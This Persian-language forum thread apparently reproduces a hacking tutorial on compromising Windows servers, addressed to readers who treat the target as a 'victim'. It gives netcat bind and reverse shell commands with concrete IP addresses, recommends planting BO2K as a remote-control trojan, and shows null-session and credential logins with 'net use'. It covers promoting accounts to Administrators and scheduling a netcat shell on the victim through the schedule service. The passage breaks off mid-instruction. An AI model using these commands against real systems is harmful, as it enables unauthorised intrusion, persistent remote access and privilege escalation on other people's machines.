    nc 63.148.112.65 22خوب اگه به شل رسيدم که حال مي*کنم!! ولي بعضي مواقع پيش مياد که عليرغم طي همه اين موارد نمي*تونم به شل جديد دست پيدا کنم که دليلش هم معمولا اينه که اون سرور توسط فايروالي بلاک شده که اجازه نميده با پورتي که مشخص کردم بهش کانکت بشم. در آخر مقاله بهتون مي*گم که در اين مواقع چکار بايد بکنيد. نکته بعدي اينه که اين شل تا زماني فعال خواهد بود که کامپيوتر قرباني restart نشه. و چون کامپيوتر*هاي سرور دير به دير restart مي*شوند، اين شل براي مدت نسبتا طولاني در دسترس من خواهد بود. اگه بخواين هر بار که کامپيوتر restart ميشه،* دوباره شل ايجاد بشه، از روش*هايي که در درس مربوط به پورت 139 گفتم، استفاده کنيد.


    - آيا مي*تونم از تروجان*هاي ديگري بجز nc استفاده کنم؟

    مسلما !
    ۱- تروجاني به نام ncx99 يا ncx وجود داره که يه شل در پورت ۹۹ سرور قرباني باز مي*کنه ولي چون کارش مثل nc است، توضيح بيشتري نمي*دم.
    ۲- اگه مي*خواين به جاي nc، يک remote control software روي کامپيوتر قرباني اجرا کنيد، توصيه من استفاده از BO2K است. سايت BO2K رو ببينيد و براي داون*لود اون به اين صفحه يا اين صفحه مراجعه کنيد. کار کردن با BO2K تقريبا مثل sub7 ه ولي مثل sub7 نرم*افزار لوسي نيست! در BO2K فايل کلاينت که خودتون اجرا مي*کنيد، bo2kgui.exe نام دارد و فايلي که با توجه به نيازهاي شما سرور براي کامپيوتر قرباني مي*سازد،* bo2kcfg.exe است. بعد از اينکه سرور ساخته شد که bo2k.exe نام دارد، اونو واسه کامپيوتر قرباني مي*فرستيد و همونجا اجرا مي*کنيد. حالا يه remote control روي سرور داريد
    ۳- و ...


    - nc روي کامپيوتر قرباني اجرا شده. چرا نمي*تونم به اون کانکت بشم؟

    اين موضوع مي*تونه دلايل مختلفي داشته باشه ولي معمولا دليلش اينه که يک فايروال قبل از سرور قرار داره که نمي*ذاره به nc کانکت بشين. اين حالت معمولا موقعي پيش مياد که nc رو به صورت passive يعني فالگوش ( مثل موردي که توضيح دادم ) رو سرور نصب کرده باشين. چون شما مي*خواهيد به اون کانکت بشويد ( چون شما کلاينت هستين و اون سرور )،* فايروال اين اجازه رو نمي*ده. در اين حالت اگر وضع رو برعکس کنيم و nc رو طوري تنظيم کنيم که اون به ما کانکت بشه،*معمولا مشکل حل ميشه. يعني بايد بجاي روش passive ، از روش active استفاده کنيم. در اين حالت در کاميوتر خودمون دستور زير اجرا مي*کنيم:
    nc -l -p 22و اگر ip ما 217.66.198.116 باشه، در کامپيوتر قرباني،*اينو:
    nc 217.66.198.116 22 -e cmd.exeحالا اون به ما کانکت ميشه و معمولا فايروال کاري به کارش نداره! دقت کنيد هميشه اول دستوري رو اجرا مي*کنيم که نقش سرور رو داره يعني اوني که داراي سويچ l- است. چه active باشه و چه passive، فرقي نداره. حالا ما يک interactive shell داريم که خيلي بدرد مي*خوره.


    Gold_ سپاسگزاری کرده است.

  4. #4
    نام حقيقي: پاشا

    عضو غیر فعال
    تاریخ عضویت
    Jun 2007
    نوشته
    12
    سپاسگزاری شده
    13
    سپاسگزاری کرده
    2

    ضروريات ويندوز سرور براي هکرها - قسمت سوم

    این درس بسیار بسیار بسیار مهم میباشد

    - يادآوري

    اين مقاله ادامه مقاله قبلي*ه! در اين درس نيز ما با يک سرور ويندوز به صورت يک کامپيوتر منفرد سروکار داريم و توجهي به کامپيوترهاي متصل به اون در شبکه*اي که هست نداريم.


    - اکانت*ها و گروه*ها در ويندوز سرور

    همون*طور که گفتم ما داريم در مورد يک ويندوز سرور منفرد صحبت مي*کنيم، بنابراين منظور من از اکانت، اکانت*هاي محلي يا local است ( وقتي چند ويندوز سرور در کنار هم و به صورت شبکه مورد استفاده هستند، معمولا اکانت*هاي سراسري يا global هم ست مي*شود که براي دسترسي به منابع در domain مورد استفاده قرار مي*گيرد. درمورد اينکه domain در ويندوز سرور چيست، بعدها توضيح مي*دم). بنابراين ما بحث اکانت*هاي لوکال رو داريم. در مورد گروه*ها هم همين*طور يعني گروه*هاي لوکال رو مي*گم.

    اکانت عبارت از يک username و password معتبر در ويندوز سرور است. وقتي از طريق يک اکانت به سيستم وارد مي*شويم، اصطلاحا مي*گوييم که login يا logon کرده*ايم. با login کردن به سرور به سطحي خاص از دسترسي به فايل*ها و منابع سيستم مي*رسيم که بستگي به سطح اختيارات اون اکانت داره. تعداد زيادي اکانت لوکال پيش*فرض وجود داره که مهم*ترين*هاش، ايناست:
    ۱- اکانت Administrator : بالاترين سطح دسترسي به اون سرور خاص است. اگه با اين اکانت login کنيد، به نهايت دسترسي به اون کامپيوتر رسيده*ايد. معادل root در سيستم*عامل*هاي مبتني بر يونيکس.
    ۲- اکانت guest : به صورت پيش*فرض غير فعال است. اختيارات بسيار محدودي دارد.
    ۳- اکانت* IUSR_xxxxx-yyyyy : در اين اکانت xxxx-yyyyyy نام همون کامپيوتره. مثلا ممکنه اسم اين اکانت اين باشه: IUSR_ABBASGOLI-V0P1QR !! اين اکانت همراه با IIS به طور پيش*فرض ايجاد ميشه و خود ويندوز يه پسورد random براش ست مي*کنه. ( IIS يا Internet Information Server وب*سرور مايکروسافت براي ويندوز است. اين نرم*افزار همون چيزي است که روي پورت ۸۰ فال*گوش مي*ماند و وقتي شما سايتي از اون سرور رو توسط مرورگر درخواست مي*کنيد، براي شما صفحه وب رو مي*فرستد. وب سرورهاي ديگري نيز براي ويندوز وجود دارد که به اندازه IIS پرکاربرد نيستند) اين اکانت نيز يک اکانت محدود است. وقتي شما مشخصا از طريق پورت ۸۰ ويندوز سروري را هک مي*کنيد که IIS روي اون نصب شده و يک شل از اين طريق مي*گيريد، معمولا شما سطح اختياراتي معادل همين اکانت IUSR_xxxxx-yyyyy رو بدست آوريده*ايد. يعني شما سطح اختيارات Administrator رو نداريد. خيلي*ّها از من مي*پرسند که مثلا با Unicode bug يک ويندوز ۲۰۰۰ رو هک کرده*ايم ولي نمي*تونيم مثلا صفحه اول سايت رو عوض کنيم... دليلش اينه که شلي که شما از اين طريق بدست آورده*ايد، در سطح Administrator نيست و ممکن است لازم باشد که به طريقي از اکانت IUSR_xxxxx-yyyyy به Administrator برسيد تا بتونيد اون فايل خاص (صفحه اول) رو بدست بگيريد.
    ۴- و...

    گروه**هاي محلي ( local groups ) چيست؟
    فرض کنيد که يه کامپيوتر ۵۰ اکانت مختلف در اون ايجاد شده که هر کدوم از اين اکانت*ها دسترسي متفاوتي بايد به منابع داشته باشند. اگه قرار باشه هر ۵۰ اکانت تک تک ايجاد بشه و اجازه دسترسي به منابع خاص يکي يکي ايجاد بشه، کار بسيار طولاني* خواهد بود. معمولا اينگونه است که تعداد زيادي از اين اکانت*ها بايد سطح اختيارات يکسان داشته باشند، مثلا ۳۰ تاشون در حد guest بايد به سرور دسترسي داشته باشند. در اين حالت بهتر است که يک گروه ايجاد شود و اختيارات واسه اون گروه ست بشه. حالا هر اکانتي که داخل اون گروه ايجاد بشه، همون سطح اختيارات رو خواهد داشت و اين مديريت رو ساده*تر مي*کنه. معمولا اسم گروه*ها يه حرف s آخرشون دارند که علامت جمع*ه. مهم*ترين گروه*ها عبارتند از:
    ۱- Administrators: يعني admin ها. مجموعه*اي از اکانت*ها که دسترسي*شون در حد Administrator است.
    ۲- Power Users
    ۳- Backup Operators
    ۴- Guests
    ۵- Users
    ۶- و...

    Account Policy چيست؟
    قواعدي است که براي اکانت*ها ست مي*شود. مثلا ممکن است Admin سرور ست کند که حداقل طول پسورد براي اکانت بايد ۶ حرف باشد يا اينکه فلان اکانت بعد از ۳ بار امتحان ناموفق براي login قفل شود و... اين اطلاعات رو قبلا در درس پورت ۱۳۹ گفتم که ميشه به کمک enum يا winfo و... بدست آورد.



    - permision ها ( مجوزها* ) در NTFS

    مجوزها در NTFS مهم*ترين تحولي است که نسبت به FAT32 رخ داده است. مجوزها تعيين مي*کنند که يک يوزر که به سيستم login کرده است، در چه حدي مي*تواند با فايل*هاي يک فولدر کار کند. فرض کنيد که يک يوزر از گروه guests به سيستم وارد شده است، در اين حالت مسلما نمي*خواهيم که اين فرد بتواند به تمام فايل*ها دسترسي از نوع خواندن و نوشتن داشته و آنها را تغيير دهد. پس فولدرهايي وجود دارند ( مثل فولدر مربوط به فايل*هاي ويندوز ) که فقط براي افراد خاصي قابل دسترسي هستند.
    نکته بسيار مهم در ويندوز اين است که مجوزها براي فولدرها تنظيم مي*شوند نه براي فايل*ها. به عبارت ديگر وقتي مجوزي براي فايلي مي*خواهيم ست کنيم، در ويندوز سرورها نمي*توانيم براي اون فايل اين مجوز رو تنظيم کنيم، بلکه بايد فولدري که فايل در اون قرار گرفته رو ست کنيم. در اين حالت تمام فايل*هاي داخل اون فولدر همين مجوز رو خواهند داشت.
    نکته مهم ديگر اين است که مجوزها براي اکانت*هاي مختلف به صورت*هاي متفاوت ست مي*شوند. مثلا ممکن است فولدر ويندوز براي اکانت*هاي guest به صورت فقط خواندني تنظيم شود، ولي براي اکانت*هاي Administrators به صورت دسترسي کامل.

    الف- مجوزها در NTFS 4.0:
    ۱- No Access : يعني عدم دسترسي براي يک اکانت خاص. يعني اينکه حتي نمي*توان وارد اون فولدر شد.
    ۲- Read: فقط خواندني. يعني مي*شه به فولدر وارد شد و فايل*ها رو دسترسي داشت ( چه فايل*هاي اجرايي و چه غير اجرايي ) و اون*ها رو خواند ( در مورد فايل*هاي اجرايي يعني ميشه اجراشون کرد ) ولي اجازه تغيير در فايل*هاي اون فولدر مثل پاک کردن، ويرايش و ايجاد فايل جديد رو نداريم.
    ۳- Change: يعني هم خواندن، هم تغيير، هم حذف و هم اجرا براي اون اکانت خاص مجاز است. يعني همه کار ولي نه تغيير دادن مجوزها واسه اون فولدر. يعني اينکه فرد نمي*تونه ست کنه که اين فولدر که الان مثلا براي اکانت*هاي guests قابل دسترسي نيست، قابل دسترس بشه.
    ۴- Full Control: يعني دسترسي کامل. شامل همه مواردي که در شماره ۳ گفته شد + اجازه تغيير مجوزها. بنابراين اين مجوز معمولا فقط براي Adminها ست مي*شود.

    ب- مجوزها در NTFS 5.0:
    ۱- No Access : يعني عدم دسترسي.
    ۲- Read: فقط خواندني. در NTFS 4.0 در حالت Read مي*تونستيم فايل*هاي اجرايي داخل اون فولدر رو اجرا کنيم ولي در NTFS 5.0 با اين مجوز نمي*تونيم فايل*هاي اجرايي رو اجرا کنيم و فقط مي*تونيم بخونيم.
    ۳- Read & Execute: يعني اجازه خواندن و نيز اجازه اجرا کردن.
    ۴- Write: يعني اجازه خواندن، اجزا کردن و تغيير دادن.
    ۵- Modify: دقيقا مثل Write. اين نشون از ضريب هوشي مايکروسافت بزرگ داره! دو اسم براي يک نوع دسترسي
    ۶- Full Control: يعني مثل Write + اجازه تغيير مجوزها




    - Share ها در ويندوز سرور

    share در ويندوز سرورها يعني منابعي که از طريق شبکه ( يعني از راه دور ) قابل دسترسي باشد. همون*طور که تو درس مربوط به پورت ۱۳۹ گفتم، دسترسي به منابع اشتراکي در ويندوز سرورها، از طريق پروتکل SMB است که مايکروسافت اونو CIFS ميگه. در اين حالت، اول يک احراز هويت داريم و بعد از اون يک session يا نشست تشکيل ميشه ( يه چيزي هم به اسم Null Session هست که توضيحاتش در همون درس اومده. ) پروتکل*هاي قديمي NetBEUI (که از دور خارج شده) و NetBIOS هم چيزي است هنوز هم توسط ويندوز ساپورت ميشه. منابع اشتراکي هم که مشخصه: فولدرها، درايوها و چاپگر.
    حالا مي*رسيم به ليست share ها:
    $IPC : يعني دسترسي کامل. اگه بتونيم به اين share برسيم در واقع به تمام فايل*ها، درايوها و فولدرها دسترسي داريم. معمولا دسترسي به اين share فقط واسه اکانت*هاي Admin است.
    $ADMIN : اين share مربوط به فولدري است که ويندوز در اون نصب شده است يعني %SystemRoot% بنابراين share محدودتري نسبت به $IPC محسوب ميشه.
    $print : يعني چاپگر! فولدر مربوطه*اش اينجاست: SystemRoot%\system32\spool\PRINTERS% يعني با اين share به اين فولدر دسترسي داريم. اين فولدر جايي است که کارهاي چاپي به صورت فايل*هايي با پسوند spl نگهداري مي*شوند.
    $C و $D و...: اگه اين share ها ست شده باشه به درايوهاي C و D و ... دسترسي داريم.
    share هاي ديگر: هر فولدري رو در ويندوز ميشه share کرد و يک نام خاص به اون نسبت داد...

    خوب بحث اينجاست که هر کدوم از اين share ها هم مي*تونند واسه اکانت*هاي مختلف به صورت*هاي متفاوت مجوزدهي شوند ( درست مثل بحث NTFS که گفتم) ولي يه تفاوت وجود داره. در مورد share ها عبارت Network Access رو بکار مي*بريم ولي واسه NTFS عبارت Local Access و اينا ممکنه متفاوت باشند. مثلا فرض کنيم که درايو C واسه اکانت guest در share به صورت read ست شده باشه. ولي در همين درايو فولدر ويندوز باشه که واسه guest در NTFS به صورت No Access ست بشه. حالا چه اتفاقي مي*افته؟ در اين حالت، به صورت اشتراک به قضيه نگاه مي*کنيم، يعني No Access (واسه حالت local Access) و Read (واسه حالت remote Access ) رو با هم اشتراک مي*گيريم ( همون چيزي که تو درس رياضيات خونديم! ) و نتيجه No Access ميشه. پس اگه يک guest از طريق share وارد درايو C بشه، اگرچه به خيلي از فولدرها دسترسي خواهد داشت ولي دسترسي اون به فولدر مربوط به ويندوز در همون درايو غيرممکن خواهد بود.


    - ساير دستورات خط فرماني در ويندوز سرورها

    يک سري دستورات خط*فرماني در قسمت اول اين مجموعه درس*ها بررسي شد. بيشتر دستورات خط*فرماني که امروز مي*گم، از مجموعه دستور net ويندوز هستند (يعني با عبارت net شروع مي*شوند) و اکثرا لازم است که با اکانتي در حد Administrator باشيد که اجرا بشوند. يه مطلب ديگه اينکه وقتي مي*گم که يه دستور به صورت لوکال هم مي*تونه اجرا بشه، روي ويندوز NT کامپيوتر خودتون هم مي*تونيد تست کنيد. مطلب بعدي اينکه اين دستورات کاربردهاي زيادي دارند ولي ما فقط مواردي رو بررسي مي*کنيم که بدرد يک هکر مي*خوره!

    ۱- net help :
    اين دستور در واقع help دستور net است. مي*نويسم:
    net helpو جواب مي*شنوم:
    The syntax of this command is:NET HELP command -or-NET command /HELP Commands available are: NET ACCOUNTS NET HELP NET SHARE NET COMPUTER NET HELPMSG NET START NET CONFIG NET LOCALGROUP NET STATISTICS NET CONFIG SERVER NET NAME NET STOP NET CONFIG WORKSTATION NET PAUSE NET TIME NET CONTINUE NET PRINT NET USE NET FILE NET SEND NET USER NET GROUP NET SESSION NET VIEW NET HELP SERVICES lists the network services you can start. NET HELP SYNTAX explains how to read NET HELP syntax lines. NET HELP command | MORE displays Help one screen at a time.توضيحات کاملا واضحه. مثلا اگه بخوام در مورد دستور net time و کاربردش اطلاعات بگيرم، بايد بنويسم:
    net help timeيا
    net time /helpتا توضيحات بياد.

    ۲- net helpmsg :
    وقتي که يک دستور net به صورتي اجرا ميشه که خطايي پيش بياد، ويندوز يک شماره خطاي ۴ رقمي به ما ميده که براي دريافت جزئيات بيشتر در مورد اين خطا بايد از دستور net helpmsg استفاده کنيم. مثلا مي*نويسم!
    net share shanguli_mangul_habbeye_angurو جواب مياد:
    This shared resource does not exist.More help is available by typing NET HELPMSG 2310.يک خطا رو گزارش داده و يک عدد ۴ رقمي به من داده. براي اينکه بدونم جزئيات خطا چيه، مي*نويسم:
    net helpmsg 2310و به من ميگه که اشتباه من چه بوده است...

    ۳- net time :
    ما از اين دستور براي فهميدن زمان روي يک سرور استفاده مي*کنيم. اگه به صورت لوکال استفاده مي*کنيد ( يعني اگه يک shell در سرور قرباني داريد و دستورات رو همون*جا تايپ مي*کنيد) بنويسيد:
    net timeولي اگه به صورت remote کار مي*کنيد (يعني يک NetBIOS session تشکيل داده*ايد توسط دستور net use که در درس پورت ۱۳۹ هم توضيح داده شده )، بنويسيد:
    net time \\xxx.xxx.xxx.xxxکه xxx.xxx.xxx.xxx همان ip ي است که session براش داريم.

    ۴- net use :
    اين دستور دو کاربرد مهم داره که در بحث پورت ۱۳۹ بحث شده*است. اولين کاربرد connect يا disconnect شدن به يک کامپيوتر با پورت ۱۳۹ باز و NetBIOS فعال است. مثلا اگه بخوام با اکانت Administrator با پسورد yechizi به کامپيوتري با ip ي xxx.xxx.xxx.xxx کانکت بشم به share ي به اسم $IPC (اين share معمولا هست، به همين دليل از اين share استفاده کردم. اگه شما روي کامپيوتر قرباني از وجود share ديگري اطلاع داريد، همون رو استفاده کنيد ) ، مي*نويسم:
    net use \\xxx.xxx.xxx.xxx\IPC$ "yechizi" /user:"Administrator"اين کاربرد اول بود که اينو قبل از دستور net view انجام مي*ديم. مي*تونستيم يک null Session تشکيل بديم، به اين صورت که قسمت مربوط به username و password رو خالي بذاريم. به اين صورت:
    net use \\xxx.xxx.xxx.xxx\IPC$ "" /user:""حالا session تشکيل شده است! کاربرد بعدي اينه که بعد از اينکه دستور بالا رو اجرا کردم و بعد دستور net view رو اجرا کردم و ليست کامل share ها رو بدست آوردم، بيام و يکي از اين share ها رو استفاده کنم. مثلا اگه اسم share که ليست شده، SharedDocs باشه، و بخوام يک درايو جديد رو بهش نسبت بدم که بتونم باهاش کار کنم، مي*نويسم:
    net use * \\xxx.xxx.xxx.xxx\SharedDocsمعني کاراکتر * اينه که اگه مثلا آخرين درايو در کامپيوتر من ( با احتساب سي*-*دي درايو ) مثلا G باشه، درايوي که براي share استفاده مي*شه، درايو بعدي يعني H باشه. مي*تونستم اينطوري هم بنويسم:
    net use H: \\xxx.xxx.xxx.xxx\SharedDocsخوب حالا مي*تونم مثل يک درايو محلي باهاش کار کنم. توي درس پورت ۱۳۹ مي*اومديم و My Computer رو از دسکتاپ باز مي*کرديم و با درايو جديد کار مي*کرديم. چون ما دستورات داس رو ياد گرفته*ايم مي*تونيم با اين دستورات هم با اون درايو کار کنيم، مثلا بنويسيم:
    H:dir,...وقتي کارمون با share تموم شد، بايد disconnect کنيم، با اين دستور :
    net use /delete H:تا ارتباط قطع بشه.

    ۵- net view :
    netbios session تشکيل داده*ام (گاهي Null Session هم جواب ميده) و حالا مي*خوام ببينم که چه منابعي برام share شده، مي*نويسم:
    net view \\xxx.xxx.xxx.xxxو مثلا جواب مي*گيرم:
    Shared resources at \\xxx.xxx.xxx.xxxShare name Type Used as Comment------------------------------------------------SharedDocs DiskThe command completed successfully.مي*بينيد که SharedDocs فولدري*است که share شده. حالا با دستور net use مي*تونم از share استفاده کنم.

    ۶- net share :
    اين دستور به ما کمک مي*کنه که share ها رو به صورت لوکال مديريت کنيم ( دستور بالايي به صورت remote استفاده مي*شد ) . مي*خوام ببينم که چه share هايي الان هست. مي*نويسم:
    net shareو جواب مي*گيرم:
    Share name Resource Remark-------------------------------------------------------------------------------F$ F:\ Default shareIPC$ Remote IPCD$ D:\ Default shareI$ I:\ Default shareG$ G:\ Default shareE$ E:\ Default shareADMIN$ I:\WINNT Remote AdminH$ H:\ Default shareC$ C:\ Default shareJ$ J:\ Default shareThe command completed successfully.همشون پر واضح*اند! خوب حالا مي*خوام مثلا $C رو از ليست share ها پاک کنم. مي*نويسم:
    net share C$ /deleteاگه دوباره ليست رو بيارم، مي*بينم که ديگه نيست. مي*خوام دوباره همون* رو share کنم، مي*نويسم:
    net share C$=C:حالا مي*خوام مثلا فولدر C:\ali رو به اسم info بيام و share کنم، مي*نويسم:
    net share info=c:\aliحالا اگه ليست بگيرم، مي*بينم که وارد ليست شده.

    ۷- net accounts :
    Account Policy رو براي اکانتي که با اون وارد شده*ايم بيان مي*کند. به*صورت لوکال استفاده مي*شود. مي*نويسم:
    net accountsو مثلا جواب مي*شنوم:
    Force user logoff how long after time expires?: NeverMinimum password age (days): 0Maximum password age (days): 42Minimum password length: 0Length of password history maintained: NoneLockout threshold: NeverLockout duration (minutes): 30Lockout observation window (minutes): 30Computer role: SERVERThe command completed successfully.تنها قسمتي که نياز به توضيح دارد، عبارت Lockout است. اين يک ويژگي امنيتي است. فرض کنيد که کسي مي*خواد از طريق امتحان کردن تعداد زيادي پسورد براي يک اکانت، پسورد رو پيدا کنه ( Crack کردن ). مي*تونيم جوري اکانت رو تنظيم کنيم که مثلا بعد از سه بار تست ناموفق، به مدت چند دقيقه locak يا قفل بشه. اسن باعث ميشه که کار هکر کند بشه. ولي معمولا اينطوري است که اکانت Administrator جوري هست که هرگز قفل نشه ( توضيحات مفصل رو درس بعدي بخونيد ).

    ۸- net user :
    اين دستور به ما کمک مي*کنه که به صورت لوکال بدونيم که چه اکانت*هايي در سيستم تعريف شده است و نيز اينکه اطلاعاتي در مورد هريک بدست بياريم و نيز اکانت جديد تعريف کنيم. اول مي*خوام بدونم چه اکانت*هايي تعريف شده، مي*نويسم:
    net userو جواب مي*شنوم:
    User accounts for \\computer-name-------------------------------------------------------------------------------Administrator ali arazASPNET Guest The command completed successfully.خوب حالا مثلا مي*خوام راجع به اکانت guest اطلاعاتي بگيرم، مي*نويسم:
    net user guestو جواب مي*گيرم:
    User name GuestFull NameComment Built-in account for guest access to the computer/domainUser's commentCountry code 000 (System Default)Account active NoAccount expires NeverPassword last set 10/27/2003 2:58 AMPassword expires NeverPassword changeable 10/27/2003 2:58 AMPassword required NoUser may change password NoWorkstations allowed AllLogon scriptUser profileHome directoryLast logon NeverLogon hours allowed AllLocal Group Memberships *GuestsGlobal Group memberships *NoneThe command completed successfully.مي*بينيد که در سطر ۲ تا مونده به آخر ( سطري Local Group Membership ) دقيقا بيان شده که اين اکانت به چه گروه*هايي تعلق داره. دقت کنيد که به*جاي دستور net user از دستور net users هم مي*تونيد استفاده کنيد.
    حالا مي*خوام يک اکانت جديد اضافه بکنم. اسم اکانت مي*خوام vahid باشه و پسورد اون yechizi مي*نويسم:
    net user vahid yechizi /addحالا مي*خوام همين اکانت رو پاک کنم:
    net user vahid /deleteدقت کنيد که در دستور پاک کردن ديگه لزومي به وارد کردن پسورد نيست. دستور بعدي به ما ميگه که چطوري يک اکانت رو وادار کنيم که عضو يک گروه محلي شود.

    ۹- net localgroup :
    ليست گروه*هاي محلي تعريف شده رو بيان مي*کنه و نيز ميشه فهميد در هر کدوم از اين گروه*ها چه اکانت*هايي هست ونيز ميشه به يک گروه خاص اکانتي اضافه کرد. مي*خوام ببينم که چه گروه*هاي محلي تعريف شده است. مي*نويسم:
    net localgroupو جواب مي*شنوم:
    Aliases for \\Computer-name-------------------------------------------------------------------------------*Administrators *Backup Operators *Debugger Users*DHCP Administrators *DHCP Users *Guests*Power Users *Replicator *UsersThe command completed successfully.دقت کنيد که ويندوز معمولا هنگام ارائه نتايج دستورات net مياد و اول اسم هر گروه يک * قرار ميده تا با اکانت*ها اشتباه نشه. حالا مي*خوام ببينم که مثلا در گروه Administrators چه اکانت*هايي هست. مي*نويسم:
    net localgroup Administratorsو جواب مي*شنوم:
    Alias name AdministratorsComment Administrators have complete and unrestricted access to the computer/domainMembers-------------------------------------------------------------------------------AdministratoraliarazThe command completed successfully.پس سه تا اکانت در حد Admin داريم. حالا مي*خوام مثلا اکانت ali رو از ليست Admin ها خارج کنم، مي*نويسم:
    net localgroup Administrators ali /deleteو اون اکانت از گروه حذف ميشه (مي*تونيد دوباره ليست بگيريد و ببينيد که ديگه در اين گروه نيست ). حالا مي*خوام دوباره اکانت ali رو به اين گروه اضافه کنم، مي*نويسم:
    net localgroup Administrators ali /addاين دستور از جمله مهم*ترين دستوراتي است که بايد ياد بگيريد. گاهي با اکانتي وارد مي*شويم و مي*خواهيم که اونو به حد Admin برسونيم و روش کار همين دستور آخري* است ( اينکه اجازه اين*کار رو داريم يا نه، بحثي است که بعدا مطرح مي*شه و گفته خواهد شد که چطوري توسط يک سري exploit مشکل رو حل کنيم). وقتي اکانتي وارد گروه Admin ميشه، تمام مزاياي همچين گروهي رو يدست مياره.

    ۱۰- net session :
    به کمک اين دستور مشخص ميشه که چه کساني الان يک session در سيستم دارند. به عبارت ديگه چه کساني به صورت remote به سيستم وارد شده*اند. اين دستور رو تايپ کنيد:
    net sessionتا ليست اونا بياد. اگه مي*خوام همه session ها رو خاتمه بدم، مي*نويسم:
    net session /delete اين همه session هاي مرا در کامپيوتري که درش اين دستور اجرا شده، با ساير کامپيوترها قطع مي*کند. اگه فقط بخوام يک session رو با يه کامپيوتر خاص تموم* کنم، مي*نويسم:
    net session \\xxx.xxx.xxx.xxx /deleteاين در حالتي است که با اون کامپيوتر session داشته باشم. دقت کنيد که به جاي دستور net session مي*تونيد از دستور net sessions يا net sess استفاده کنيد.

    ۱۱- net send :
    فرض کنيد که مي*خوام يک message به فرد خاصي که الان به سيستم وارد شده و يک session دارد بفرستم. ( اينکه فردي session دارد يا نه، به کمک دستور net session قابل بررسي است) بدين منظور از اين دستور مي*تونم استفاده کنم. مثلا اگه بخوام به Administrator که الان در سيستم هست، پيغام Salam Refig رو بفرستم، مي*نويسم:
    net send Administrator Salam Refigدر اين حالت اون پيغام منو مي*گيره. اگه بخوام به همه اونايي که الان session دارند، همين پيغام رو بفرستم، مي*نويسم:
    net send /users Salam Refigو پيغام و همه مي*گيرند. اين دستور بايد به صورت local يعني از طريق يک shell اجرا بشه.

    ۱۲- ساير دستورات net :
    يک سري دستورات net هستند مثل net computer و net group که در شبکه*اي از ويندوز سرورها کاربرد دارند و بعدها بررسي خواهند شد. و نيز يک سري دستور براي مديريت سرويس*ها داريم مثل net config و net stop و net continue و net pause و net start که در جلسه بعد مي*گم.


    - NTRK چيست؟

    NTRK مخفف NT Resourse Kit است. NTRK محصولي از مايکروسافت است و به صورت يک CD جداگانه (و البته پولي) همراه نسخه*هاي مختلف ويندوزهاي سري NT به فروش مي*رسه و يک سري ابزارهاي خط*فرماني و گرافيکي بسيار جالب را در اختيار قرار مي*ده. NTRK مثل يک شمشير دولبه*است، هم به مديران شبکه کمک مي*کنه که کار مديريت ويندوز سرور رو راحت*تر انجام بدهند و هم از ديدگاه هکر، NTRK پر از برنامه*هايي است که براي هک کردن ويندوز سرور مورد نياز است. نرم*افزارهايي که خط فرمان خود ويندوز فاقد آن است. الان که من دارم درس رو مي*نويسم، شما مي*تونيد از اين آدرس به تعدادي از اين ابزارها دسترسي پيدا کنيد. (البته اين گونه آدرس*ها مدام تغيير مي*کنند چون در واقع غيرقانوني هستند). حالا مهم*ترين نرم*افزارهاي اين مجموعه رو شرح مي*دم:

    الف- ابزارهاي کار با Schedule Service :

    ۱- sc :
    به کمک اين ابزار، مي*تونيم سرويس*هاي خاصي رو در سرور شروع، متوقف و... کند. مهم*ترين سرويسي که در کار با اين ابزار مدنظر داريم، schedule service است. اين سرويس به ما امکان مي*دهد که سرور قرباني رو وادار کنيم که در زمان خاص، کار خاصي رو انجام دهد. اگه يادتون باشه وقتي با NetBIOS کار مي*کرديم و مي*تونستيم تروجاني رو به کامپيوتر قرباني کپي کنيم، معمولا بايد منتظر مي*شديم که کسي پشت همون کامپيوتر روي فايل کليک کند يا در موادري خاص مي*تونستيم کاري کنيم که موقع restart شدن کامپيوتر اون فايل اجرا بشه ولي خودمون نمي*تونستيم اون فايل رو اجرا کنيم. به کمک schedule service مي*تونيم مشخص کنيم که مثلا سر فلان ساعت فلان دستور اجرا شود ( مثلا اين دستور مي*تواند دستوري باشد که به کمک nc يک پورت روي کامپيوتر قرباني اجرا شود ). اين حالت در مواردي کاربرد دارد که ما يک اکانت Admin روي اون کامپيوتر داريم ولي به دلايلي شلي در اختيار نيست. براي اينکه توسط ابزار sc بتونيم مثلا schedule service رو در کامپيوتر قرباني فعال کنيم (البته اگه در حال حاضر فعال نباشد )، ابتدا بايد يک session به کمک يک اکانت خاص از طريق NetBIOS برپا ! کنيم. دقت کنيد که session بايد حتما براي اکانتي در سطح اختيارات Admin برپا شود. اين کار رو همون*طور که گفتم، به کمک دستور net use انجام مي*ديم. حالا که session برقرار شد، در کامپيوتر خودمون مي*نويسيم:
    sc \\xxx.xxx.xxx.xxx start scheduleو جواب مي*شنوم:
    SERVICE_NAME: schedule TYPE : 120 WIN32_SHARE_PROCESS (interactive) STATE : 2 START_PENDING (NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x7d0و schedule service شروع مي*شود. دقت کنيد که کلمه start براي شروع يک سرويس است و کلمه schedule يعني schedule service پس با اين دستور schedule service در کامپيوتر قرباني فعال مي*شود. در دستور بالا منظور از xxx.xxx.xxx.xxx در واقع ip قرباني است. همون ip که يک session باهاش داريم.
    اگر schedule service از قبل فعال بود جواب مي*شنيدم:
    [SC] StartService FAILED 1056:An instance of the service is already running.۲- at :
    بعد از اينکه schedule service در کامپيوتر قرباني فعال شد، حالا مي*خوام يه schedule task ( يا schedule job ) رو اجرا کنم. يعني اينکه يک دستور رو مشخص کنم که سر ساعت خاصي اجرا شود. مثلا فرض کنيد که من فايل nc رو به فولدري در آدرس c:\something کپي کرده*ام و حالا مي*خوام کاري کنم که پنج دقيقه ديگه، يک پورت توسط nc ايجاد بشه. اولا اينکه من قبلا يه netbios session تشکيل دادم. حالا ميام و ساعت کامپيوتر قرباني رو بدست ميارم. اين کار رو همون*طور که گفتم، توسط دستور net time انجام مي*دم. ملاحظه مي*کنم که مثلا ساعت سرور الان 11:20 PM است ( ساعت سرور مسلما با ساعت کامپيوتر شما متفاوت خواهد بود ). حالا اگه بخوام ۵ دقيقه ديگر (يعني سر ساعت 11:25 PM ) دستور nc -l -p 22 -e cmd.exe اجرا بشه و فايل nc هم همون*طور که گفتم مثلا در فولدر c:\something باشه، مي*نويسم:
